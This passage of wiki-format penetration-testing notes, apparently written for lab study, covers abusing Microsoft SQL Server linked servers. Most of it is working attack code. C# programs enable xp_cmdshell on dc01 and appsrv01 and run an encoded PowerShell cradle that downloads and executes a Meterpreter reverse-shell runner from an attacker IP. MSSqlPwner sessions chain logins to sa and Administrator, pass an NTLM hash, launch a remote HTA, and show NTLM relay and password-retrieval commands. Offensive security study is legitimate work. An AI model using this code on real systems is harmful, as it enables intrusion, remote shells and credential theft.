&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
